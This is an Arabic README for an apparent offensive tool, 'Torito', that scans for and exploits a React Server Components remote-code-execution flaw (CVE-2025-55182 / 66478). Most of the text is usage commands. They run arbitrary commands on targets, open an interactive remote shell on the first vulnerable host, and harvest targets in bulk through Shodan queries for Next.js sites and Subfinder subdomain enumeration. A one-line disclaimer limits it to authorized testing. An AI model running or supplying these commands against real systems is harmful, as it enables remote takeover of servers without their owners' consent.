أداة فحص واستغلال React2Shell من Torito (CVE-2025-55182 / 66478)

المتطلبات

• بايثون 3.9+
• pip install -r requirements.txt
• وجود ثنائي Subfinder في PATH لـ --subfinder (التثبيت عبر Homebrew brew install subfinder أو Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; المشروع: https://github.com/projectdiscovery/subfinder)
• استخدام Shodan يتطلب pip install shodan (موجود في المتطلبات بالفعل) و مفتاح: export SHODAN_API_KEY=... مع رصيد استعلام متاح

الاستخدام

python3 torito_r2s.py --help

الخيارات

أمثلة

مسح آمن (هدف واحد)

python3 torito_r2s.py -u https://target.com

تأكيد إثبات المفهوم (إعادة توجيه قناة جانبية)

python3 torito_r2s.py -u https://target.com --confirm

استغلال بأمر مخصص

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

شل تفاعلي عند أول إصابة

python3 torito_r2s.py -u https://target.com --shell

مسح قائمة مع تصديرات

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Shodan فقط (يتطلب مفتاح ورصيد)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Subfinder فقط

python3 torito_r2s.py --subfinder target.com --confirm

وكيل (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

التوجيه عبر stdin

cat urls.txt | python3 torito_r2s.py --confirm

ملاحظات المخرجات

• الجدول يظهر البصمة (NX/AR)، المسح، التأكيد، الاستغلال.
• يتم فك تشفير تفريغات الاستغلال base64 عندما يكون ذلك ممكنًا؛ وضع التفصيل يعرض معاينات.
• تشمل JSON/CSV التفريغ الخام والمخرج المفكوك (إن وجد).

الأمان

• للاختبار المصرح به فقط.
• التشغيل الافتراضي هو مسح غير مدمر؛ يتم تنفيذ الاستغلال فقط باستخدام --exploit-cmd أو --shell.